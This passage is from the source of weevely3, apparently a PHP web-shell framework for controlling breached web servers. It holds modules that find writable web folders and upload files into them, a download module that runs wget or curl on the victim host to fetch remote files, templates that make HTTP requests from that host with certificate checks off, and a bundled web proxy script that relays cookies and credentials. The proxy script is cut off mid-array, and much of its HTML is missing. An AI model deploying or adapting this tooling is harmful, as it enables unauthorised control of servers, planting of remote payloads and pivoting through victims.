'dir' ]).run(): folders = ModuleExec("file_find", [ '-writable', '-quit', self.args['rpath'] ]).run() if not folders or not folders[0]: log.warn(messages.module_file_upload2web.failed_search_writable_starting_s % self.args['rpath']) return None, None # Get remote file name from lpath lfolder, rname = os.path.split(lpath) # TODO: all the paths should be joined with remote OS_SEP from system_info. self.args['rpath'] = os.path.join(folders[0], rname) file_upload_args = [ lpath, self.args['rpath'] ] if content: file_upload_args += [ '-content', content ] if self.args.get('simulate') or ModuleExec("file_upload", file_upload_args).run(): # Guess URL from rpath return [ self._map_file2web(self.args['rpath']) ] epinna-weevely3-445bd88/modules/file/webdownload.py000066400000000000000000000023431444353330400223440ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd from core.module import Module from core import messages import random import datetime class Webdownload(Module): """Download an URL.""" aliases = [ 'wget' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode("""@file_put_contents("${rpath}",file_get_contents("${url}"));""", name = "file_put_contents" ), ShellCmd("""wget ${url} -O ${rpath}""", name = "wget" ), ShellCmd("""curl -o ${rpath} ${url}""", name = "curl" ) ] ) self.register_arguments([ { 'name' : 'url', 'help' : 'URL to download remotely' }, { 'name' : 'rpath', 'help' : 'Remote file path' }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : "file_put_contents" }, ]) def run(self, **kwargs): return self.vectors.get_result( name = self.args['vector'], format_args = self.args ) epinna-weevely3-445bd88/modules/file/zip.py000066400000000000000000000024701444353330400206420ustar00rootroot00000000000000from core.vectors import PhpFile, ModuleExec from core.module import Module from core import messages from core import modules from core.loggers import log import os class Zip(Module): """Compress or expand zip files.""" aliases = [ 'zip', 'unzip' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'php_zip.tpl'), name = 'php_zip', ) ] ) self.register_arguments([ { 'name' : 'rzip', 'help' : 'Remote ZIP file' }, { 'name' : 'rfiles', 'help' : 'Remote files to compress. If decompressing, set destination folder.', 'nargs' : '+' }, { 'name' : '--decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate unzip' }, ]) def run(self, **kwargs): # The correct execution returns something only on errors result_err = self.vectors.get_result( name = 'php_zip', format_args = self.args, ) if result_err: log.warning(result_err) return return True epinna-weevely3-445bd88/modules/net/000077500000000000000000000000001444353330400173325ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/net/__init__.py000066400000000000000000000000001444353330400214310ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/net/_curl/000077500000000000000000000000001444353330400204365ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/net/_curl/php_context.tpl000066400000000000000000000025721444353330400235200ustar00rootroot00000000000000$opts = array( 'ssl' => array ( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true, 'verify_depth' => 0, ), 'http'=>array( 'follow_location' => false, 'method'=>'${ request if not data else 'POST' }', 'timeout'=>${ connect_timeout }, 'ignore_errors' => true, % if header or cookie or user_agent or data: 'header' => array( % endif % for h in header: % if not (data and (h.title().startswith('Content-Length: '))) and not (user_agent and h.title().startswith('User-Agent: ')): "${h}", % endif % endfor % if cookie: "Cookie: ${ cookie }", % endif % if user_agent: "User-Agent: ${ user_agent }", % endif % if header or cookie or user_agent or data: ), % endif % if data: 'content' => "${ ''.join(data) }", % endif ) ); $ctx=stream_context_create($opts); % if current_vector == 'file_get_contents': $r = file_get_contents("${url}", false, $ctx); % elif current_vector == 'fopen_stream_get_contents': $s = fopen("${url}", 'r', false, $ctx); $r = ''; if($s) { $r = stream_get_contents($s); fclose($s); } % elif current_vector == 'fopen_fread': $h = fopen("${url}", 'r', false, $ctx); $r = ''; if($h) { while (!feof($h)) { $r .= fread($h, 8192); } fclose($h); } % endif foreach($http_response_header as $v) { print("$v\r\n"); } print("\r\n". $r); epinna-weevely3-445bd88/modules/net/_curl/php_curl.tpl000066400000000000000000000020311444353330400227670ustar00rootroot00000000000000$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "${url}"); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "${ request if not data else 'POST' }"); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, ${ connect_timeout }); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); % if header or cookie or user_agent or data: curl_setopt($ch, CURLOPT_HTTPHEADER, array( % endif % for h in header: % if not (data and (h.title().startswith('Content-Length: '))) and not (user_agent and h.title().startswith('User-Agent: ')): "${h}", % endif % endfor % if cookie: "Cookie: ${ cookie }", % endif % if user_agent: "User-Agent: ${ user_agent }", % endif % if header or cookie or user_agent or data: )); % endif % if data: curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "${ ''.join(data) }"); % endif curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); print($response); epinna-weevely3-445bd88/modules/net/_curl/php_httprequest1.tpl000066400000000000000000000020771444353330400245050ustar00rootroot00000000000000if(class_exists('HttpRequest')) { $r = new HttpRequest("${ url }", HttpRequest::METH_${ request if not data else 'POST' }); $r->setOptions(array('connecttimeout'=>${ connect_timeout })); % if header or cookie or user_agent or data: $r->addHeaders( array( % for h in header: % if not (data and (h.title().startswith('Content-Length: '))) and not (user_agent and h.title().startswith('User-Agent: ')): "${ h.split(':')[0] }" => "${ h.split(':')[1].lstrip() }", % endif % endfor % if user_agent: 'User-Agent'=>"${ user_agent }", % endif % if cookie: 'Cookie'=>"${ cookie }", % endif ) ); % endif % if data: $r->addRawPostData("${ ''.join(data) }"); % endif try { $r = $r->send(); } catch (HttpException $ex) { } print("HTTP/" . $r->getHttpVersion() . " " . $r->getResponseCode() . " " . $r->getResponseStatus() . "\r\n"); foreach($r->getHeaders() as $h => $v) { print("$h: $v\r\n"); } print("\r\n" . $r->getBody()); } epinna-weevely3-445bd88/modules/net/_phpproxy/000077500000000000000000000000001444353330400213625ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/net/_phpproxy/poxy.php000066400000000000000000001464271444353330400231100ustar00rootroot00000000000000 'q', 'flags_var_name' => 'hl', 'get_form_name' => '____pgfa', 'basic_auth_var_name' => '____pbavn', 'max_file_size' => -1, 'allow_hotlinking' => 0, 'upon_hotlink' => 1, 'compress_output' => 0 ); $_flags = array ( 'include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1, 'rotate13' => 0, 'base64_encode' => 1, 'strip_meta' => 1, 'strip_title' => 0, 'session_cookies' => 1 ); $_frozen_flags = array ( 'include_form' => 0, 'remove_scripts' => 0, 'accept_cookies' => 0, 'show_images' => 0, 'show_referer' => 0, 'rotate13' => 0, 'base64_encode' => 0, 'strip_meta' => 0, 'strip_title' => 0, 'session_cookies' => 0 ); $_labels = array ( 'include_form' => array('Include Form', 'Include mini URL-form on every page'), 'remove_scripts' => array('Remove Scripts', 'Remove client-side scripting (i.e JavaScript)'), 'accept_cookies' => array('Accept Cookies', 'Allow cookies to be stored'), 'show_images' => array('Show Images', 'Show images on browsed pages'), 'show_referer' => array('Show Referer', 'Show actual referring Website'), 'rotate13' => array('Rotate13', 'Use ROT13 encoding on the address'), 'base64_encode' => array('Base64', 'Use base64 encodng on the address'), 'strip_meta' => array('Strip Meta', 'Strip meta information tags from pages'), 'strip_title' => array('Strip Title', 'Strip page title'), 'session_cookies' => array('Session Cookies', 'Store cookies for this session only') ); $_hosts = array ( '#^127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|localhost#i' ); $_hotlink_domains = array(); $_insert = array(); // // END CONFIGURABLE OPTIONS. The ride for you ends here. Close the file. // $_iflags = ''; $_system = array ( 'ssl' => extension_loaded('openssl') && version_compare(PHP_VERSION, '4.3.0', '>='), 'uploads' => ini_get('file_uploads'), 'gzip' => extension_loaded('zlib') && !ini_get('zlib.output_compression'), 'stripslashes' => get_magic_quotes_gpc() ); $_proxify = array('text/html' => 1, 'application/xml+xhtml' => 1, 'application/xhtml+xml' => 1, 'text/css' => 1); $_version = '0.5b2'; $_http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $_script_url = 'http' . ((isset($_ENV['HTTPS']) && $_ENV['HTTPS'] == 'on') || $_SERVER['SERVER_PORT'] == 443 ? 's' : '') . '://' . $_http_host . ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443 ? ':' . $_SERVER['SERVER_PORT'] : '') . $_SERVER['PHP_SELF']; $_script_base = substr($_script_url, 0, strrpos($_script_url, '/')+1); $_url = ''; $_url_parts = array(); $_base = array(); $_socket = null; $_request_method = $_SERVER['REQUEST_METHOD']; $_request_headers = ''; $_cookie = ''; $_post_body = ''; $_response_headers = array(); $_response_keys = array(); $_http_version = ''; $_response_code = 0; $_content_type = 'text/html'; $_content_length = false; $_content_disp = ''; $_set_cookie = array(); $_retry = false; $_quit = false; $_basic_auth_header = ''; $_basic_auth_realm = ''; $_auth_creds = array(); $_response_body = ''; // // FUNCTION DECLARATIONS // function show_report($data) { ?> PHProxy

PHProxy

Enter your username and password for "" on

'; switch ($data['group']) { case 'url': echo 'URL Error (' . $data['error'] . '): '; switch ($data['type']) { case 'internal': $message = 'Failed to connect to the specified host. ' . 'Possible problems are that the server was not found, the connection timed out, or the connection refused by the host. ' . 'Try connecting again and check if the address is correct.'; break; case 'external': switch ($data['error']) { case 1: $message = 'The URL you\'re attempting to access is blacklisted by this server. Please select another URL.'; break; case 2: $message = 'The URL you entered is malformed. Please check whether you entered the correct URL or not.'; break; } break; } break; case 'resource': echo 'Resource Error: '; switch ($data['type']) { case 'file_size': $message = 'The file your are attempting to download is too large.
' . 'Maxiumum permissible file size is ' . number_format($GLOBALS['_config']['max_file_size']/1048576, 2) . ' MB
' . 'Requested file size is ' . number_format($GLOBALS['_content_length']/1048576, 2) . ' MB'; break; case 'hotlinking': $message = 'It appears that you are trying to access a resource through this proxy from a remote Website.
' . 'For security reasons, please use the form below to do so.'; break; } break; } echo 'An error has occured while trying to browse through the proxy.
' . $message . '

'; break; } ?>
  • $flag_value) { if (!$GLOBALS['_frozen_flags'][$flag_name]) { echo '
  • ' . "\n"; } } ?>
$value) { $key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key); if (is_array($value)) { $temp = array_merge($temp, set_post_vars($value, $key)); } else { $temp[$key] = urlencode($value); } } return $temp; } function set_post_files($array, $parent_key = null) { $temp = array(); foreach ($array as $key => $value) { $key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key); if (is_array($value)) { $temp = array_merge_recursive($temp, set_post_files($value, $key)); } else if (preg_match('#^([^\[\]]+)\[(name|type|tmp_name)\]#', $key, $m)) { $temp[str_replace($m[0], $m[1], $key)][$m[2]] = $value; } } return $temp; } function url_parse($url, & $container) { $temp = @parse_url($url); if (!empty($temp)) { $temp['port_ext'] = ''; $temp['base'] = $temp['scheme'] . '://' . $temp['host']; if (isset($temp['port'])) { $temp['base'] .= $temp['port_ext'] = ':' . $temp['port']; } else { $temp['port'] = $temp['scheme'] === 'https' ? 443 : 80; } $temp['path'] = isset($temp['path']) ? $temp['path'] : '/'; $path = array(); $temp['path'] = explode('/', $temp['path']); foreach ($temp['path'] as $dir) { if ($dir === '..') { array_pop($path); } else if ($dir !== '.') { for ($dir = rawurldecode($dir), $new_dir = '', $i = 0, $count_i = strlen($dir); $i < $count_i; $new_dir .= strspn($dir{$i}, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*\'(),?:@&;=') ? $dir{$i} : rawurlencode($dir{$i}), ++$i); $path[] = $new_dir; } } $temp['path'] = str_replace('/%7E', '/~', '/' . ltrim(implode('/', $path), '/')); $temp['file'] = substr($temp['path'], strrpos($temp['path'], '/')+1); $temp['dir'] = substr($temp['path'], 0, strrpos($temp['path'], '/')); $temp['base'] .= $temp['dir']; $temp['prev_dir'] = substr_count($temp['path'], '/') > 1 ? substr($temp['base'], 0, strrpos($temp['base'], '/')+1) : $temp['base'] . '/'; $container = $temp; return true; } return false; } function complete_url($url, $proxify = true) { $url = trim($url); if ($url === '') { return ''; } $hash_pos = strrpos($url, '#'); $fragment = $hash_pos !== false ? '#' . substr($url, $hash_pos) : ''; $sep_pos = strpos($url, '://'); if ($sep_pos === false || $sep_pos > 5) { switch ($url{0}) { case '/': $url = substr($url, 0, 2) === '//' ? $GLOBALS['_base']['scheme'] . ':' . $url : $GLOBALS['_base']['scheme'] . '://' . $GLOBALS['_base']['host'] . $GLOBALS['_base']['port_ext'] . $url; break; case '?': $url = $GLOBALS['_base']['base'] . '/' . $GLOBALS['_base']['file'] . $url; break; case '#': $proxify = false; break; case 'm': if (substr($url, 0, 7) == 'mailto:') { $proxify = false; break; } default: $url = $GLOBALS['_base']['base'] . '/' . $url; } } return $proxify ? "{$GLOBALS['_script_url']}?{$GLOBALS['_config']['url_var_name']}=" . encode_url($url) . $fragment : $url; } function proxify_inline_css($css) { preg_match_all('#url\s*\(\s*(([^)]*(\\\))*[^)]*)(\)|$)?#i', $css, $matches, PREG_SET_ORDER); for ($i = 0, $count = count($matches); $i < $count; ++$i) { $css = str_replace($matches[$i][0], 'url(' . proxify_css_url($matches[$i][1]) . ')', $css); } return $css; } function proxify_css($css) { $css = proxify_inline_css($css); preg_match_all("#@import\s*(?:\"([^\">]*)\"?|'([^'>]*)'?)([^;]*)(;|$)#i", $css, $matches, PREG_SET_ORDER); for ($i = 0, $count = count($matches); $i < $count; ++$i) { $delim = '"'; $url = $matches[$i][2]; if (isset($matches[$i][3])) { $delim = "'"; $url = $matches[$i][3]; } $css = str_replace($matches[$i][0], '@import ' . $delim . proxify_css_url($matches[$i][1]) . $delim . (isset($matches[$i][4]) ? $matches[$i][4] : ''), $css); } return $css; } function proxify_css_url($url) { $url = trim($url); $delim = strpos($url, '"') === 0 ? '"' : (strpos($url, "'") === 0 ? "'" : ''); return $delim . preg_replace('#([\(\),\s\'"\\\])#', '\\$1', complete_url(trim(preg_replace('#\\\(.)#', '$1', trim($url, $delim))))) . $delim; } // // SET FLAGS // if (isset($_POST[$_config['url_var_name']]) && !isset($_GET[$_config['url_var_name']]) && isset($_POST[$_config['flags_var_name']])) { foreach ($_flags as $flag_name => $flag_value) { $_iflags .= isset($_POST[$_config['flags_var_name']][$flag_name]) ? (string)(int)(bool)$_POST[$_config['flags_var_name']][$flag_name] : ($_frozen_flags[$flag_name] ? $flag_value : '0'); } $_iflags = base_convert(($_iflags != '' ? $_iflags : '0'), 2, 16); } else if (isset($_GET[$_config['flags_var_name']]) && !isset($_GET[$_config['get_form_name']]) && ctype_alnum($_GET[$_config['flags_var_name']])) { $_iflags = $_GET[$_config['flags_var_name']]; } else if (isset($_COOKIE['flags']) && ctype_alnum($_COOKIE['flags'])) { $_iflags = $_COOKIE['flags']; } if ($_iflags !== '') { $_set_cookie[] = add_cookie('flags', $_iflags, time()+2419200); $_iflags = str_pad(base_convert($_iflags, 16, 2), count($_flags), '0', STR_PAD_LEFT); $i = 0; foreach ($_flags as $flag_name => $flag_value) { $_flags[$flag_name] = $_frozen_flags[$flag_name] ? $flag_value : (int)(bool)$_iflags{$i}; $i++; } } // // DETERMINE URL-ENCODING BASED ON FLAGS // if ($_flags['rotate13']) { function encode_url($url) { return rawurlencode(str_rot13($url)); } function decode_url($url) { return str_replace(array('&', '&'), '&', str_rot13(rawurldecode($url))); } } else if ($_flags['base64_encode']) { function encode_url($url) { return rawurlencode(base64_encode($url)); } function decode_url($url) { return str_replace(array('&', '&'), '&', base64_decode(rawurldecode($url))); } } else { function encode_url($url) { return rawurlencode($url); } function decode_url($url) { return str_replace(array('&', '&'), '&', rawurldecode($url)); } } // // COMPRESS OUTPUT IF INSTRUCTED // if ($_config['compress_output'] && $_system['gzip']) { ob_start('ob_gzhandler'); } // // STRIP SLASHES FROM GPC IF NECESSARY // if ($_system['stripslashes']) { function _stripslashes($value) { return is_array($value) ? array_map('_stripslashes', $value) : (is_string($value) ? stripslashes($value) : $value); } $_GET = _stripslashes($_GET); $_POST = _stripslashes($_POST); $_COOKIE = _stripslashes($_COOKIE); } // // FIGURE OUT WHAT TO DO (POST URL-form submit, GET form request, regular request, basic auth, cookie manager, show URL-form) // if (isset($_POST[$_config['url_var_name']]) && !isset($_GET[$_config['url_var_name']])) { header('Location: ' . $_script_url . '?' . $_config['url_var_name'] . '=' . encode_url($_POST[$_config['url_var_name']]) . '&' . $_config['flags_var_name'] . '=' . base_convert($_iflags, 2, 16)); exit(0); } if (isset($_GET[$_config['get_form_name']])) { $_url = decode_url($_GET[$_config['get_form_name']]); $qstr = strpos($_url, '?') !== false ? (strpos($_url, '?') === strlen($_url)-1 ? '' : '&') : '?'; $arr = explode('&', $_SERVER['QUERY_STRING']); if (preg_match('#^\Q' . $_config['get_form_name'] . '\E#', $arr[0])) { array_shift($arr); } $_url .= $qstr . implode('&', $arr); } else if (isset($_GET[$_config['url_var_name']])) { $_url = decode_url($_GET[$_config['url_var_name']]); } else if (isset($_GET['action']) && $_GET['action'] == 'cookies') { show_report(array('which' => 'cookies')); } else { show_report(array('which' => 'index', 'category' => 'entry_form')); } if (isset($_GET[$_config['url_var_name']], $_POST[$_config['basic_auth_var_name']], $_POST['username'], $_POST['password'])) { $_request_method = 'GET'; $_basic_auth_realm = base64_decode($_POST[$_config['basic_auth_var_name']]); $_basic_auth_header = base64_encode($_POST['username'] . ':' . $_POST['password']); } // // SET URL // if (strpos($_url, '://') === false) { $_url = 'http://' . $_url; } if (url_parse($_url, $_url_parts)) { $_base = $_url_parts; if (!empty($_hosts)) { foreach ($_hosts as $host) { if (preg_match($host, $_url_parts['host'])) { show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'external', 'error' => 1)); } } } } else { show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'external', 'error' => 2)); } // // HOTLINKING PREVENTION // if (!$_config['allow_hotlinking'] && isset($_SERVER['HTTP_REFERER'])) { $_hotlink_domains[] = $_http_host; $is_hotlinking = true; foreach ($_hotlink_domains as $host) { if (preg_match('#^https?\:\/\/(www)?\Q' . $host . '\E(\/|\:|$)#i', trim($_SERVER['HTTP_REFERER']))) { $is_hotlinking = false; break; } } if ($is_hotlinking) { switch ($_config['upon_hotlink']) { case 1: show_report(array('which' => 'index', 'category' => 'error', 'group' => 'resource', 'type' => 'hotlinking')); break; case 2: header('HTTP/1.0 404 Not Found'); exit(0); default: header('Location: ' . $_config['upon_hotlink']); exit(0); } } } // // OPEN SOCKET TO SERVER // do { $_retry = false; $_socket = @fsockopen(($_url_parts['scheme'] === 'https' && $_system['ssl'] ? 'ssl://' : 'tcp://') . $_url_parts['host'], $_url_parts['port'], $err_no, $err_str, 30); if ($_socket === false) { show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'internal', 'error' => $err_no)); } // // SET REQUEST HEADERS // $_request_headers = $_request_method . ' ' . $_url_parts['path']; if (isset($_url_parts['query'])) { $_request_headers .= '?'; $query = preg_split('#([&;])#', $_url_parts['query'], -1, PREG_SPLIT_DELIM_CAPTURE); for ($i = 0, $count = count($query); $i < $count; $_request_headers .= implode('=', array_map('urlencode', array_map('urldecode', explode('=', $query[$i])))) . (isset($query[++$i]) ? $query[$i] : ''), $i++); } $_request_headers .= " HTTP/1.0\r\n"; $_request_headers .= 'Host: ' . $_url_parts['host'] . $_url_parts['port_ext'] . "\r\n"; if (isset($_SERVER['HTTP_USER_AGENT'])) { $_request_headers .= 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT'] . "\r\n"; } if (isset($_SERVER['HTTP_ACCEPT'])) { $_request_headers .= 'Accept: ' . $_SERVER['HTTP_ACCEPT'] . "\r\n"; } else { $_request_headers .= "Accept: */*;q=0.1\r\n"; } if ($_flags['show_referer'] && isset($_SERVER['HTTP_REFERER']) && preg_match('#^\Q' . $_script_url . '?' . $_config['url_var_name'] . '=\E([^&]+)#', $_SERVER['HTTP_REFERER'], $matches)) { $_request_headers .= 'Referer: ' . decode_url($matches[1]) . "\r\n"; } if (!empty($_COOKIE)) { $_cookie = ''; $_auth_creds = array(); foreach ($_COOKIE as $cookie_id => $cookie_content) { $cookie_id = explode(';', rawurldecode($cookie_id)); $cookie_content = explode(';', rawurldecode($cookie_content)); if ($cookie_id[0] === 'COOKIE') { $cookie_id[3] = str_replace('_', '.', $cookie_id[3]); //stupid PHP can't have dots in var names if (count($cookie_id) < 4 || ($cookie_content[1] == 'secure' && $_url_parts['scheme'] != 'https')) { continue; } if ((preg_match('#\Q' . $cookie_id[3] . '\E$#i', $_url_parts['host']) || strtolower($cookie_id[3]) == strtolower('.' . $_url_parts['host'])) && preg_match('#^\Q' . $cookie_id[2] . '\E#', $_url_parts['path'])) { $_cookie .= ($_cookie != '' ? '; ' : '') . (empty($cookie_id[1]) ? '' : $cookie_id[1] . '=') . $cookie_content[0]; } } else if ($cookie_id[0] === 'AUTH' && count($cookie_id) === 3) { $cookie_id[2] = str_replace('_', '.', $cookie_id[2]); if ($_url_parts['host'] . ':' . $_url_parts['port'] === $cookie_id[2]) { $_auth_creds[$cookie_id[1]] = $cookie_content[0]; } } } if ($_cookie != '') { $_request_headers .= "Cookie: $_cookie\r\n"; } } if (isset($_url_parts['user'], $_url_parts['pass'])) { $_basic_auth_header = base64_encode($_url_parts['user'] . ':' . $_url_parts['pass']); } if (!empty($_basic_auth_header)) { $_set_cookie[] = add_cookie("AUTH;{$_basic_auth_realm};{$_url_parts['host']}:{$_url_parts['port']}", $_basic_auth_header); $_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n"; } else if (!empty($_basic_auth_realm) && isset($_auth_creds[$_basic_auth_realm])) { $_request_headers .= "Authorization: Basic {$_auth_creds[$_basic_auth_realm]}\r\n"; } else if (list($_basic_auth_realm, $_basic_auth_header) = each($_auth_creds)) { $_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n"; } if ($_request_method == 'POST') { if (!empty($_FILES) && $_system['uploads']) { $_data_boundary = '----' . md5(uniqid(rand(), true)); $array = set_post_vars($_POST); foreach ($array as $key => $value) { $_post_body .= "--{$_data_boundary}\r\n"; $_post_body .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n"; $_post_body .= urldecode($value) . "\r\n"; } $array = set_post_files($_FILES); foreach ($array as $key => $file_info) { $_post_body .= "--{$_data_boundary}\r\n"; $_post_body .= "Content-Disposition: form-data; name=\"$key\"; filename=\"{$file_info['name']}\"\r\n"; $_post_body .= 'Content-Type: ' . (empty($file_info['type']) ? 'application/octet-stream' : $file_info['type']) . "\r\n\r\n"; if (is_readable($file_info['tmp_name'])) { $handle = fopen($file_info['tmp_name'], 'rb'); $_post_body .= fread($handle, filesize($file_info['tmp_name'])); fclose($handle); } $_post_body .= "\r\n"; } $_post_body .= "--{$_data_boundary}--\r\n"; $_request_headers .= "Content-Type: multipart/form-data; boundary={$_data_boundary}\r\n"; $_request_headers .= "Content-Length: " . strlen($_post_body) . "\r\n\r\n"; $_request_headers .= $_post_body; } else { $array = set_post_vars($_POST); foreach ($array as $key => $value) { $_post_body .= !empty($_post_body) ? '&' : ''; $_post_body .= $key . '=' . $value; } $_request_headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $_request_headers .= "Content-Length: " . strlen($_post_body) . "\r\n\r\n"; $_request_headers .= $_post_body; $_request_headers .= "\r\n"; } $_post_body = ''; } else { $_request_headers .= "\r\n"; } fwrite($_socket, $_request_headers); // // PROCESS RESPONSE HEADERS // $_response_headers = $_response_keys = array(); $line = fgets($_socket, 8192); while (strspn($line, "\r\n") !== strlen($line)) { @list($name, $value) = explode(':', $line, 2); $name = trim($name); $_response_headers[strtolower($name)][] = trim($value); $_response_keys[strtolower($name)] = $name; $line = fgets($_socket, 8192); } sscanf(current($_response_keys), '%s %s', $_http_version, $_response_code); if (isset($_response_headers['content-type'])) { list($_content_type, ) = explode(';', str_replace(' ', '', strtolower($_response_headers['content-type'][0])), 2); } if (isset($_response_headers['content-length'])) { $_content_length = $_response_headers['content-length'][0]; unset($_response_headers['content-length'], $_response_keys['content-length']); } if (isset($_response_headers['content-disposition'])) { $_content_disp = $_response_headers['content-disposition'][0]; unset($_response_headers['content-disposition'], $_response_keys['content-disposition']); } if (isset($_response_headers['set-cookie']) && $_flags['accept_cookies']) { foreach ($_response_headers['set-cookie'] as $cookie) { $name = $value = $expires = $path = $domain = $secure = $expires_time = ''; preg_match('#^\s*([^=;,\s]*)\s*=?\s*([^;]*)#', $cookie, $match) && list(, $name, $value) = $match; preg_match('#;\s*expires\s*=\s*([^;]*)#i', $cookie, $match) && list(, $expires) = $match; preg_match('#;\s*path\s*=\s*([^;,\s]*)#i', $cookie, $match) && list(, $path) = $match; preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i', $cookie, $match) && list(, $domain) = $match; preg_match('#;\s*(secure\b)#i', $cookie, $match) && list(, $secure) = $match; $expires_time = empty($expires) ? 0 : intval(@strtotime($expires)); $expires = ($_flags['session_cookies'] && !empty($expires) && time()-$expires_time < 0) ? '' : $expires; $path = empty($path) ? '/' : $path; if (empty($domain)) { $domain = $_url_parts['host']; } else { $domain = '.' . strtolower(str_replace('..', '.', trim($domain, '.'))); if ((!preg_match('#\Q' . $domain . '\E$#i', $_url_parts['host']) && $domain != '.' . $_url_parts['host']) || (substr_count($domain, '.') < 2 && $domain{0} == '.')) { continue; } } if (count($_COOKIE) >= 15 && time()-$expires_time <= 0) { $_set_cookie[] = add_cookie(current($_COOKIE), '', 1); } $_set_cookie[] = add_cookie("COOKIE;$name;$path;$domain", "$value;$secure", $expires_time); } } if (isset($_response_headers['set-cookie'])) { unset($_response_headers['set-cookie'], $_response_keys['set-cookie']); } if (!empty($_set_cookie)) { $_response_keys['set-cookie'] = 'Set-Cookie'; $_response_headers['set-cookie'] = $_set_cookie; } if (isset($_response_headers['p3p']) && preg_match('#policyref\s*=\s*[\'"]?([^\'"\s]*)[\'"]?#i', $_response_headers['p3p'][0], $matches)) { $_response_headers['p3p'][0] = str_replace($matches[0], 'policyref="' . complete_url($matches[1]) . '"', $_response_headers['p3p'][0]); } if (isset($_response_headers['refresh']) && preg_match('#([0-9\s]*;\s*URL\s*=)\s*(\S*)#i', $_response_headers['refresh'][0], $matches)) { $_response_headers['refresh'][0] = $matches[1] . complete_url($matches[2]); } if (isset($_response_headers['location'])) { $_response_headers['location'][0] = complete_url($_response_headers['location'][0]); } if (isset($_response_headers['uri'])) { $_response_headers['uri'][0] = complete_url($_response_headers['uri'][0]); } if (isset($_response_headers['content-location'])) { $_response_headers['content-location'][0] = complete_url($_response_headers['content-location'][0]); } if (isset($_response_headers['connection'])) { unset($_response_headers['connection'], $_response_keys['connection']); } if (isset($_response_headers['keep-alive'])) { unset($_response_headers['keep-alive'], $_response_keys['keep-alive']); } if ($_response_code == 401 && isset($_response_headers['www-authenticate']) && preg_match('#basic\s+(?:realm="(.*?)")?#i', $_response_headers['www-authenticate'][0], $matches)) { if (isset($_auth_creds[$matches[1]]) && !$_quit) { $_basic_auth_realm = $matches[1]; $_basic_auth_header = ''; $_retry = $_quit = true; } else { show_report(array('which' => 'index', 'category' => 'auth', 'realm' => $matches[1])); } } } while ($_retry); // // OUTPUT RESPONSE IF NO PROXIFICATION IS NEEDED // if (!isset($_proxify[$_content_type])) { @set_time_limit(0); $_response_keys['content-disposition'] = 'Content-Disposition'; $_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' ? 'attachment' : 'inline') . '; filename="' . $_url_parts['file'] . '"' : $_content_disp; if ($_content_length !== false) { if ($_config['max_file_size'] != -1 && $_content_length > $_config['max_file_size']) { show_report(array('which' => 'index', 'category' => 'error', 'group' => 'resource', 'type' => 'file_size')); } $_response_keys['content-length'] = 'Content-Length'; $_response_headers['content-length'][0] = $_content_length; } $_response_headers = array_filter($_response_headers); $_response_keys = array_filter($_response_keys); header(array_shift($_response_keys)); array_shift($_response_headers); foreach ($_response_headers as $name => $array) { foreach ($array as $value) { header($_response_keys[$name] . ': ' . $value, false); } } do { $data = fread($_socket, 8192); echo $data; } while (isset($data{0})); fclose($_socket); exit(0); } do { $data = @fread($_socket, 8192); // silenced to avoid the "normal" warning by a faulty SSL connection $_response_body .= $data; } while (isset($data{0})); unset($data); fclose($_socket); // // MODIFY AND DUMP RESOURCE // if ($_content_type == 'text/css') { $_response_body = proxify_css($_response_body); } else { if ($_flags['strip_title']) { $_response_body = preg_replace('#(<\s*title[^>]*>)(.*?)(<\s*/title[^>]*>)#is', '$1$3', $_response_body); } if ($_flags['remove_scripts']) { $_response_body = preg_replace('#<\s*script[^>]*?>.*?<\s*/\s*script\s*>#si', '', $_response_body); $_response_body = preg_replace("#(\bon[a-z]+)\s*=\s*(?:\"([^\"]*)\"?|'([^']*)'?|([^'\"\s>]*))?#i", '', $_response_body); $_response_body = preg_replace('##si', "$1", $_response_body); } if (!$_flags['show_images']) { $_response_body = preg_replace('#<(img|image)[^>]*?>#si', '', $_response_body); } // // PROXIFY HTML RESOURCE // $tags = array ( 'a' => array('href'), 'img' => array('src', 'longdesc'), 'image' => array('src', 'longdesc'), 'body' => array('background'), 'base' => array('href'), 'frame' => array('src', 'longdesc'), 'iframe' => array('src', 